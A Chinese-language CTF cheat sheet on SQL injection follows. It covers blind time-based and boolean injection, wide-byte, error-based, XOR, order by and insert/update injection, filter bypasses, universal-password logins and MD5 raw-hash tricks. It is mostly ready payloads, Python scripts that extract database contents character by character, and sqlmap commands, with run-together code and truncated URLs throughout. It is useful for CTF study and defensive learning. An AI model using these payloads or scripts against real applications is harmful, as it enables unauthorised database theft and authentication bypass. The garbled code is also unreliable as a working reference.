CTF
文章目录 参考基础截取 if条件语句加整数溢出进行盲注DNS外传数据查询(data exfiltration through DNS channel)sql时间盲注笛卡尔积 heavy querybenchmarkGET_LOCKRLIKE例题安恒周周练29 SLEEPCMS sleep例题2019hgame-week3-sqli2 bool盲注宽字节注入报错注入报错函数floor()extractvalue()updatexml()exp()polygon()multipoint()multpolygon()linestring()multlinestring()GeometryCollection() 例题实验吧——加了料的报错注入(exp extractvalue报错注入) 异或注入绕过注释绕过=绕过空格绕过双写关键词,过滤空格 常规注入SQL约束攻击sqli格式化字符串逃逸漏洞万能密码MD5order by注入insert、update、delete注入desc相关参考
/?p=789 /p/35245598 /post/id/104319 /%E4%BB%8E%E4%B8%80%E9%81%93%E6%B3%A8%E5%85%A5%E9%A2%98%E7%9B%AE%E5%AD%A6%E4%B9%A0%E6%96%B0%E5%9E%8B%E5%BB%B6%E6%97%B6%E7%9B%B2%E6%B3%A8/
基础回显 无回显 如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。 SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC 0x5b [ 0x5d ] 0x7e ~ 0x3a : database() 数据库 user() 比如root@localhost version() @@hostname (用户) @@datadir (数据库在文件的位置) @@version (版本) @@version_compile_OS (操作系统版本) information_schema.tables information_schema.columns information_schema.schemata union select concat group_concat
截取 substringSUBSTRING ( expression, start, length ) start 从1开始例如:/**/and extractvalue(2,concat(':',(select substring(content,30,10) from note ) )) and 'content是字段名substr(expression, start, length)start从1开始substr('abcd' from 3 for 1) 支持from for的形式返回csubstring_index(str,delim,count)substring_index(被截取字段,关键词,关键词出现的次数)select substring_index('aaabbbccc','a','2');返回 aselect substring_index('aaabbbccc','b','2');返回 aaabselect substring_index('aaabbbccc','b','-2')返回bcccmid()MID(column_name,start[,length])支持from for的语法mid('abcd' from 3 for 1)返回cleft(str,length) 从左边开始截取字符串right(str,length) 从右边开始截取字符串 ifhttps://wwwblogs/xuhaojun/p/9141396.html midMID() 函数用于从文本字段中提取字符。SELECT MID(column_name,start[,length]) FROM table_name;column_name必需。要提取字符的字段。start必需。规定开始位置(起始值是 1)。length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。ascii() 返回ascii码ord() 返回ascii码if条件语句加整数溢出进行盲注 DNS外传数据查询(data exfiltration through DNS channel) sql时间盲注 笛卡尔积 heavy query
原理如方法的名字:大负荷查询。即用到一些消耗资源的方式让数据库的查询时间尽量变长。而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积,这样就可以让数据库的查询慢下来而最后找到系统表information_schema数据量比较大,可以满足要求,所以我们让他们做笛卡尔积。
import requestsurl = ".php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23"data = ""for i in range(1,1000): for j in range(33,127): #payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j) #payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #flags #payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j) payload_url = url%(payload) try: r = requests.get(url=payload_url,timeout=8) except: data +=chr(j) print data break benchmark有时候sleep被过滤,我们可以用benchmark(count,expr) benchmark()函数重复count次执行表达式expr。他可以被用于计算mysql处理表达式速度。结果值通常是0
select benchmark(10000000,sha(1)),也就是通过计算来延迟
GET_LOCKsleep被过滤,也可以用这个函数 GET_LOCK(str,timeout) 设法使用字符串str给定的名字得到一个锁,超时为timeout秒
select GET_LOCK(‘a’,1) 利用范围不多,新会话开启并且保持长连接才行
RLIKE通过rpad或repeat构造长字符串,加以计算量大的的pattern,通过repeat的参数可以控制延时长短
select concat(rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b’
例题 安恒周周练29 SLEEPCMS sleep 例题 2019hgame-week3-sqli2见2019hgamewp
?id='|| if(length(database())=8,sleep(5),0)%23import requestsimport stringdic='szexcuarity'flag=''for i in range(8):for ii in dic:url="http://127.0.0.1/sqli-labs-master/Less-1/?id='|| if(ascii(substring(database(),"+str(i+1)+",1))="+str(ord(ii))+",sleep(5),0)%23"try:requests.get(url,timeout=3)print ii+"false"except:print iiflag+=iibreakprint flagimport requestsimport stringdic='mailrfgents,u'flag=''for i in range(15):for ii in dic:url="http://127.0.0.1/sqli-labs-master/Less-1/?id='|| if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i+1)+",1))="+str(ord(ii))+",sleep(5),0)%23"try:requests.get(url,timeout=3)except:print iiflag+=iibreakprint flag127.0.0.1' and (select case when (length(database())=x then sleep(10) else 1 end) and '1'='1 and ‘1’='1 select case when () then sleep(10) else 1 end ' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1 +和and (substring() from x for 1)
select case when条件触发
SQL CASE表达式是一种通用的条件表达式,类似于其他语句中的if/else语句 case when condition then result
select case when username=‘admin’ then ‘aaa’ else(sleep(3)) end from user;
爆数据库长度import requestsurl='/web/wonderkun/index.php'for i in range(10): payload={"X-Forwarded-For":"127.0.0.1' and (select case when (length(database())="+str(i)+")then sleep(10) else 1 end) and '1'='1"} try: print i a=requests.get(url,headers=payload,timeout=5) except: print i breakprint i 爆数据库名key的第一个+,为什么不能是andimport requestsimport stringurl='/web/wonderkun/index.php'databaseName=''str='wfatgebsdad125df4'+string.ascii_lowercase+string.digitsfor i in range(1,5): for payload in str: key={'X-Forwarded-For':"' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)} try: print key r=requests.get(url,headers=key,timeout=4) except: databaseName+=payload print databaseName breakprint databaseName---------------------------------------------------------import requestsimport stringurl='/web/wonderkun/index.php'databaseName=''str=string.ascii_lowercase+string.digitsfor i in range(1,5): for payload in str: key={'X-Forwarded-For':"' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)} try: print key r=requests.get(url,headers=key,timeout=4) except: databaseName+=payload print databaseName breakprint databaseNamebool盲注
宽字节注入 先尝试单引号?id=1’ ?id=1%27,发现页面输出的 引号被转义了,在前面加了一个 \ 符号尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了 构造:?id=1%df%27报错 再构造:?id=1%df%df%23查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字所以得知此题存在宽字节注入 开始爆数据库:?id=1%df%27 order by 2# 列数得知 2列。爆库:?id=-1%df%27 union select 1,database()%23数据库:sae-chinalover 爆列表:?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23 爆出这些表:ctf,ctf2,ctf3,ctf4,gbksqli,news 爆字段:?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23字段:id flag 查询关键字:?id=-1%df%27 union select 1,flag from ctf4%23 利用Sqlmap:sqlmap -u "/SQL-GBK/index.php?id=1%df%27"sqlmap -u "/SQL-GBK/index.php?id=1%df%27" --dbs跑出库sqlmap -u "/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover --columns跑字段: sqlmap -u "/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -C flag --dump跑出flag 例2: 靶机:安全实验室注入关3/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php、 输入payload?id=1%df%27 报错 ?id=1%df%df%23 页面正常,存在宽字节注入 爆列数?id=1%df%27 order by 3%23?id=1%df%27 order by 4%23发现只有三列: 爆数据库名:?id=1%df%27 union select 1,2,database()%23库名:mydbs 爆表名:?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23发现报错。。。可能有过滤那么把mydbs转成16进制:0x6d79646273 (..字符转16进制即可,要转对,有个网址16进制换是转错的。。浪费我好多时间)?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23 得出表名:sae_user_sqli4爆字段:sae_user_sqli4 ->7361655f757365725f73716c6934 ?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23 得出三个字段:id,title_1,content_1爆关键字:?id=1%df%27 union select 1,group_concat(id),group_concat(content_1) from sae_user_sqli4%23 得到flag
报错注入 报错函数 floor() ' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23 extractvalue() select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' 'database()被替换为(select group_concat(table_name) from information_schema.tables where table_schema=database() ) updatexml() 1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and 'database()替换为group_concat(table_name) from information_schema.tables where table_schema=database() exp() username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '' or exp(~(select * from(select database())x)) or'database()被替换为group_concat(table_name) from information_schema.tables where table_schema regexp database()username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())a)) or ' #利用这则表达式代替过滤的'='username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema <> database()))a)) or ' #利用非非逆否命题绕过 '=' polygon() multipoint() multpolygon() linestring() multlinestring() GeometryCollection() 例题 实验吧——加了料的报错注入(exp extractvalue报错注入) 爆数据库username=' and extractvalue/*&password=*/(1,concat(':', database() )) and 'XPATH syntax error: ':error_based_hpf'后台的查询语句就为select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '去掉注释即为select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '然后猜解表名,因为password屏蔽了=,所以用regexpusername=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and 'XPATH syntax error: ':ffll44jj,users'猜解列名username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and 'XPATH syntax error: ':value'猜解字段username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and 'expusername=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and 'DOUBLE value is out of range in 'exp(~((select 'flag{err0r_b4sed_sqli_+_hpf}' from dual)))' updatexml1 and 1=(updatexml(1,concat(0x3a,(select user())),1))1'/**/a<>nd/**/updatexml(1,co<>ncat(0x3a,(sel<>ect/**/user())),1)%231'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),0x7e),1)#1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)),1)#1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/group_concat(table_name)/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()),0x7e),1)#1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/group_concat(colucolumn_namemn_name)/**/from/**/info<>rmation_schema.colucolumnsmns/**/where/**/table_name='flag_0d9a'),0x7e),1)#
异或注入 原理异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。mysql里异或运算符为^ 或者 xor两个同为真的条件做异或,结果为假用处可用于判断过滤http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23当union被过滤时1^0 输出id=1当union没被过滤时 1 ^ 1 输出 id=0回显 error
绕过 注释 ;%00#-- + 双写<> o<>r o<>rder info<>rmation_schema.tables 绕过=
regexp where table_schema regexp database() 非非逆否命题 where !(table_schema <> database())
select substring((select user()) from 1 for 1);select substring((select user()) from -1);select id,ip from client_ip where 1>2 union select * from ((select user())a join (select version())b); 绕过空格 /**//***/()%0a 绕过 双写关键词,过滤空格 ?id=0/***/uniunionon/***/seleselectct/***/1,2,(selselectect/***/group_concat(table_name)/***/frfromom/***/information_schema.tables/***/where/***/table_schema=database())%23 得到表名为: content?id=0/***/uniunionon/***/seleselectct/***/1,2,(selselectect/***/group_concat(column_name)/***/frfromom/***/information_schema.columns/***/where/***/table_name=0x636f6e74656e74)%23 得到列名为:id,context,title?id=0/***/uniunionon/***/seleselectct/***/1,2,context/***/frfromom/***/content%23 得到flag常规注入
联合查询注入 fuzz 看过滤了啥 没有过滤啥
11'1'%231' order by 1%231' order by 2%231' order by 3%231' order by 4%23' union select 1,2,3%23' union select group_concat(schema_name),2,3 from information_schema.schemata%23' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()%23' union select group_concat(column_name),2 from information_schema.columns where table_name='xiaohong'%23' union select sign,2 from xiaohong%231 and 1=-1 union select 1,schema_name from information_schema.schemata1 and 1=-1 union select 1,table_name from information_schema.tables1 and 1=-1 union select 1,column_name from information_schema.columnsdatabase()的地方替换
(select group_concat(table_name) from information_schema.tables where table_schema=database() )group_concat(table_name) from information_schema.tables where table_schema regexp database()SQL约束攻击 SQL语句对字符串处理的时候,字符串末尾的空格会被忽略“test”和“test ”是一样的insert语句中,SQL都会根据SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串长度大于“n”个字符的话,那么仅使用字符串前“n”个字符思路:1.在注册处,注册名使用 admin 1 2.insert插入到该数据库时,由于用户名过长,varchar()只会截取前面的字符串,即admin (admin加上好多空格)3.由于SQL处理字符串时,末尾的空格会被删除,所以相当于注册并且修改了admin的账号密码4.最后使用指定新的admin账号密码登录即可看到flag sqli格式化字符串逃逸漏洞
万能密码
select * from admin where username=’’ and password=’’
admin’ or ‘1’='1
admin’#
select * from admin where username='admin'#' and password='123'‘+’
select * from admin where username=''+'' and password=''+''0
select * from admin where username='0' and password='0'Aaa’ = ’
\N
select \N from data;
所有数据都返回NULL
MD5 <!--$password = $_GET['password'];$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );$row1 = mysql_fetch_row($result);var_dump($row1);mysql_close($link);-->构造 ?password=ffifdyopffifdyop字符串的前几位是'or'6,拼接刚才的SQL语句构成select * from 'admin' where password=''or6xxxxxx129581926211651571912466741651878684928是一样的效果 order by注入 逻辑运算符1 | 1=12 | 3=32 & 3=2^>><<order by 子句对查询返回的结果按一列或者多列排序,默认是升序在不知道列名的情况下可以通过列的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1和order=2是不一样的order by可以根据多列排序,因此注入的语句不一定限制与order by的第一个参数,也可以通过逗号去新的列进行注入order by if(0,name,sleep(2))select * from data order by id|2;select * from data order by id&2;select * from data order by id^2;还可以使用union,不过要加括号(select 1,2,3 order by 3 asc)union(select 2,3,4);例题过滤了报错注入的函数,=号chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp'^1')%2b1chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp'^7')%2b1同上也可以chall.tasteless.eu/level1/index.php?dir=3,)union(select flag from level1_flag)%23 insert、update、delete注入 insert into users(id,username,password) values(1,'user','passwd');insert into users(id,username,password) values(2,'attacker' or updatexml(1,concat(0x7e,database()),0),'passwd');update data1 set year=11 or updatexml(1,concat(0x7e,database()),0) where id=3;update data1 set year=11 or sleep(3) where id=3;无效果update data1 set year=11 and sleep(3) where id=3;延迟就可以盲注delete from users where id=2;delete from users where id=2 or updatexml(1,concat(0x7e,database()),0);一个insert题目的小思路:猜测后端逻辑 insert into(name,text) values ('','')通过insert into(name,text) values ('\',',database()) # ','')insert into(name,text) values ('\',',select flag from flag) # ','') desc相关 <?phprequire('config.php');$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);mysqli_query($mysqli,"desc `secret_{$table}`" or Hacker());$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>``反引号作用是为了区分Mysql的保留字与普通字符而引入的符号
一般我们建表时候都会将表明或者库名加上反引号保证语句正常执行度
create database `user`;如果不加反引号mysql会将user视为保留字而报错
desc `data` `id`; #可以执行成功,必须有空格select 1,2 from data` `union select 2,2;#可以执行成功根据上面的执行条件可以绕过desc语句
而ret[0]只打印数组的第一个值,可通过偏移 limit和offset
数据库计算是从0开始的
offset x 是跳过x个数据,limit Y是选取Y个数据
limit X,Y中表示跳过X个数据,读取Y个数据
paylaod:?table=test``union select database() limit 1,offset 1
CTF-SQL注入入门题型